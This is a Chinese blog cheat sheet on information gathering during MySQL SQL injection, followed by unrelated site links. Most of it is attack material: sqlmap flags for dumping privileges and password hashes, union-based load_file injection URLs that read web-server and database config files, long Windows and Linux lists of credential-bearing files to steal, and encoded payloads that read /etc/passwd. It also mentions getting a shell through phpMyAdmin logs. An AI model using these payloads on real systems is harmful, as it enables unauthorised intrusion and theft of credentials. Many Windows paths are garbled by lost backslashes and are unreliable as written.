zoukankan      html  css  js  c++  java
  • Mysql注入中的信息收集[保持更新]

    SQL注入中的信息收集

    注入点数据库用户是否dba

    sqlmap: --is-dba --current-user
    select user();

    注入点数据库用户具体拥有的权限及相关信息如密码hash

    sqlmap: --privileges

    show grants for root@localhost;
    select * from mysql.user where user='root'G;
    

    secure_file_pri是否为null或包含可访问路径

    secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE(),dumpfile传到哪个指定目录的。即mysql的读和写函数

    1. secure_file_priv为null 表示不允许导入导出
    2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
    3. secure_file_priv没有设置时,则表示没有任何限制
    select @@secure_file_priv;
    select @@global.secure_file_priv;
    show variables like "secure_file_priv";
    

    网站绝对路径

    phpinfo

    报错显示绝对路径

    通过数据库存储路径/数据库日志路径猜测网站路径

    select @@datadir;
    SHOW GLOBAL VARIABLES LIKE '%log%';
    

    读中间件配置文件

    sqlmap:--file-read
    select load_file('/etc/apache/conf/httpd.conf');

    Mysql版本

    sqlmap:--banner

    select version();
    

    5.1x无 information_schema 库,只能枚举查询库名表名
    Mysql高版本如5.6以上安全模式默认禁止写入写出

    是否有相关中间件,如phpmyadmin

    phpmyadmin旧版本漏洞
    通过phpmyadmin日志getshell
    获取系统信息等

    读密码

    读网站管理员密码

    找库找表读密码登后台

    读数据库用户密码

    sqlmap:--passwords

    select * from mysql.userG;
    select * from mysql.user where user='root'G;
    

    密码hash解不开

    有绝对路径则读取数据库配置文件,需要load_file()权限
    读/etc/init.d下的东西,这里有配置文件路径
    ?id=1' union select 1,2,load_file('/etc/init.d/httpd')
    得到web安装路径
    ?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')
    读取数据库配置
    ?id=1' union select 1,2,load_file('/site/xxx.com/conf/conn.inc.php')

    读文件

    sqlmap:--file-read
    select load_file('绝对路径');

    Windows

    c:/boot.ini //查看系统版本
    c:/windows/php.ini //php配置信息
    c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
    c:/winnt/php.ini
    c:/winnt/my.ini
    c:mysqldatamysqluser.MYD //存储了mysql.user表中的数据库连接密码
    c:Program FilesRhinoSoft.comServ-UServUDaemon.ini //存储了虚拟主机网站路径和密码
    c:Program FilesServ-UServUDaemon.ini
    c:windowssystem32inetsrvMetaBase.xml 查看IIS的虚拟主机配置
    c:windows
    epairsam //存储了WINDOWS系统初次安装的密码
    c:Program Files Serv-UServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
    c:Program FilesRhinoSoft.comServUDaemon.exe
    C:Documents and SettingsAll UsersApplication DataSymantecpcAnywhere*.cif文件//存储了pcAnywhere的登陆密码
    c:Program FilesApache GroupApacheconfhttpd.conf 或C:apacheconfhttpd.conf //查看WINDOWS系统apache文件
    c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
    c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
    d:APACHEApache2confhttpd.conf
    C:Program Filesmysqlmy.ini
    C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码
    

    Linux

    /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
    /usr/local/apache2/conf/httpd.conf
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    /etc/sysconfig/iptables //从中得到防火墙规则策略
    /etc/httpd/conf/httpd.conf // apache配置文件
    /etc/rsyncd.conf //同步程序配置文件
    /etc/my.cnf //mysql的配置文件
    /etc/redhat-release //系统版本
    /etc/issue
    /etc/issue.net
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
    /etc/sysconfig/iptables 查看防火墙策略
    load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
    replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
    replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
    
  • 相关阅读:
    NetBeans IDE 配置XDebug
    XAMPP环境下用phpStorm+XDebug进行断点调试的配置
    vim最通用编辑器命令
    MySQL全文索引应用简明教程
    完美解决 nginx No input file specified.
    htmlspecialchars()和htmlspecialchars_decode()
    中文CentOS 6.5网络配置及设置IP地址
    简单楼层导航代码
    linux重启nginx后出现nginx的pid丢失的解决方案
    nginx启动、关闭、重启
  • 原文地址:https://www.cnblogs.com/Rain99-/p/12560736.html
Copyright © 2011-2022 走看看